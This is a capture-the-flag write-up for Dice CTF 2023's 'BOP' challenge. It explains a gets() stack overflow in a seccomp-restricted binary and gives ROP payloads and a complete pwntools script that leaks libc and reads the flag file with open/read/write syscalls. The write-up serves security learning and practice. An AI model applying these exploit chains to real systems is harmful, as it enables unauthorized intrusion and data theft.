---title: "Dice 23 BOP"date: 2023-02-11 17:31:30 -0400categories: Pwn---# BOPThis is write-up for BOP.
The source code of main is as follows:```__int64 __fastcall main(int a1, char **a2, char **a3){  char v4[32]; // [rsp+0h] [rbp-20h] BYREF
  setbuf(stdin, 0LL);  setbuf(stdout, 0LL);  setbuf(stderr, 0LL);  printf("Do you bop? ");  return gets(v4);}```
The last line of main calls gets to receive inputs to a buffer and returns using gets' return value.
Running checksec gives:```        Arch:     amd64-64-little    RELRO:    Partial RELRO    Stack:    No canary found    NX:       NX enabled    PIE:      No PIE (0x400000)```And we can verify that the binary uses seccomp tools:```# seccomp-tools dump ./bop                                                                                   [±PIE ●] line  CODE  JT   JF      K================================= 0000: 0x20 0x00 0x00 0x00000004  A = arch 0001: 0x15 0x00 0x09 0xc000003e  if (A != ARCH_X86_64) goto 0011 0002: 0x20 0x00 0x00 0x00000000  A = sys_number 0003: 0x35 0x00 0x01 0x40000000  if (A < 0x40000000) goto 0005 0004: 0x15 0x00 0x06 0xffffffff  if (A != 0xffffffff) goto 0011 0005: 0x15 0x04 0x00 0x00000000  if (A == read) goto 0010 0006: 0x15 0x03 0x00 0x00000001  if (A == write) goto 0010 0007: 0x15 0x02 0x00 0x00000002  if (A == open) goto 0010 0008: 0x15 0x01 0x00 0x0000003c  if (A == exit) goto 0010 0009: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0011 0010: 0x06 0x00 0x00 0x7fff0000  return ALLOW 0011: 0x06 0x00 0x00 0x00000000  return KILL ```
## Attack PlanWe can control the return address and perform ORW (Open Read Write) using ROP.I've done ORW from [pwnable.tw](https://pwnable.tw/challenge/#2) using shellcoding but it was my first time using ROP, but the logic remains the same. It's just a matter of syntax.## Pre-requisiteTo perform ROP, we need to leak the libc base.The GOT does not import puts, so I'll use printf.The ROP payload to leak GOT entry of printf is as follows:```payload = b"A"*40 # offsetpayload += p64(ret)payload += p64(ret)payload += p64(rdi)             # 1st parameterpayload += p64(e.got['printf'])payload += p64(rsi)             # 2nd parameter (two pops)payload += p64(e.got['printf'])payload += p64(e.got['printf'])payload += p64(e.plt['printf']) # call printf_pltpayload += p64(ret)payload += p64(main) # return to main```The first two rets are to align bytes. 0 or 1 ret doesn't work (idk why).The pop_rsi gadget I found pops to two registers, so I included two printf_got entries after pop_rsi.
## ORWUsing the leaked libc base, we can find other useful gadgets like pop_rax, pop_rdx, and syscall.
note: *make sure to find the stable syscall instruction, like read+0x10.*
We can run ROP again but now invoking ORW.To store the contents of the file read, I'll use bss+0x800 (no special reason).
The payload is as follows:```"""OPEN"""payload = b"A"*40payload += p64(rdi) + p64(bss+0x800)payload += p64(e.plt["gets"])payload += p64(rdi)+p64(bss+0x800)payload += p64(rsi) + p64(0) + p64(0)payload += p64(rdx) + p64(0) payload += p64(rax) + p64(2)payload += p64(syscall)
"""READ"""payload += p64(rdi)+p64(3)payload += p64(rsi)+p64(bss+0x800) + p64(0)payload += p64(rax)+p64(0) payload += p64(rdx)+p64(0xff) payload += p64(syscall)
"""WRITE"""payload += p64(rdi)+p64(1)payload += p64(rsi)+p64(bss+0x800) + p64(0)payload += p64(rax)+p64(1) payload += p64(rdx)+p64(0xff)payload += p64(syscall)```
We follow the standard [x64 syscall convention](https://syscalls64.paolostivanin.com/) to set the parameters of each component of ORW.
* set rdi to bss to store user input* call getsAfter user sends an input, it will be stored in BSS, in this case it will be "./flag.txt".* set rdi to bss again* set rsi (two pops) and rdx to 0* set rax to 2* syscall
Similar procedures are performed for Open and Write syscalls.note: *cross compare with x64 syscall chart!*
### EndThen I send the payload along with "./flag.txt" and receive the output to get the flag.
```#!/usr/bin/python3from pwn import *context.log_level='debug'context.arch='amd64'# context.terminal = ['tmux', 'splitw', '-h', '-F' '#{pane_pid}', '-P']
p=process('./bop',env={'LD_PRELOAD':'./libc-2.31.so'})# p = remote("mc.ax", 30284)libc=ELF("./libc-2.31.so")
ru 		= lambda a: 	p.readuntil(a)r 		= lambda n:		p.read(n)sla 	= lambda a,b: 	p.sendlineafter(a,b)sa 		= lambda a,b: 	p.sendafter(a,b)sl		= lambda a: 	p.sendline(a)s 		= lambda a: 	p.send(a)
e = ELF("./bop")rdi = 0x4013d3ret = 0x40101amain = 0x4012fdbss = 0x404080rsi = 0x4013d1 # pop rsi; pop r15; ret
payload = b"A"*8payload += b"/flag.txt\0"payload += b"A"*22payload += p64(ret)payload += p64(ret)payload += p64(rdi)payload += p64(e.got['printf'])payload += p64(rsi)payload += p64(e.got['printf'])payload += p64(e.got['printf'])payload += p64(e.plt['printf'])payload += p64(ret)payload += p64(main)
sla(b"? ", payload)
leak = u64(p.recvuntil("\x7f")[-6:].ljust(8, b"\x00"))libc.address = leak - 0x60770 - 0x46a0 + 0x3180info(str(hex(libc.address)))
syscall = libc.sym['read']+0x10rax = libc.address+0x036174rdx = libc.address+0x142c92
payload = b"A"*40payload += p64(rdi) + p64(bss+0x800)payload += p64(e.plt["gets"])payload += p64(rdi)+p64(bss+0x800)payload += p64(rsi) + p64(0) + p64(0)payload += p64(rdx) + p64(0) payload += p64(rax) + p64(2)payload += p64(syscall)
payload += p64(rdi)+p64(3)payload += p64(rsi)+p64(bss+0x800) + p64(0)payload += p64(rax)+p64(0) payload += p64(rdx)+p64(0xff) payload += p64(syscall)
payload += p64(rdi)+p64(1)payload += p64(rsi)+p64(bss+0x800) + p64(0)payload += p64(rax)+p64(1) payload += p64(rdx)+p64(0xff)payload += p64(syscall)
sla(b"? ", payload)input() # press entersl(b"./flag.txt\0")
print(p.recv(1024))
p.interactive()```
Thanks,079